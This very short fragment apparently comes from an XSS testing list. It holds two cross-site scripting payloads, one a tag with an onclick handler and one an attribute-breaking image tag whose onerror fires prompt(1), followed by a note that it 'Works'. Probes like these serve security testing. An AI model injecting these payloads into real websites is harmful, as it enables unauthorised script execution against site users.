<x onclick=a()>

"><img src=x onerror=prompt(1)>

Works (7)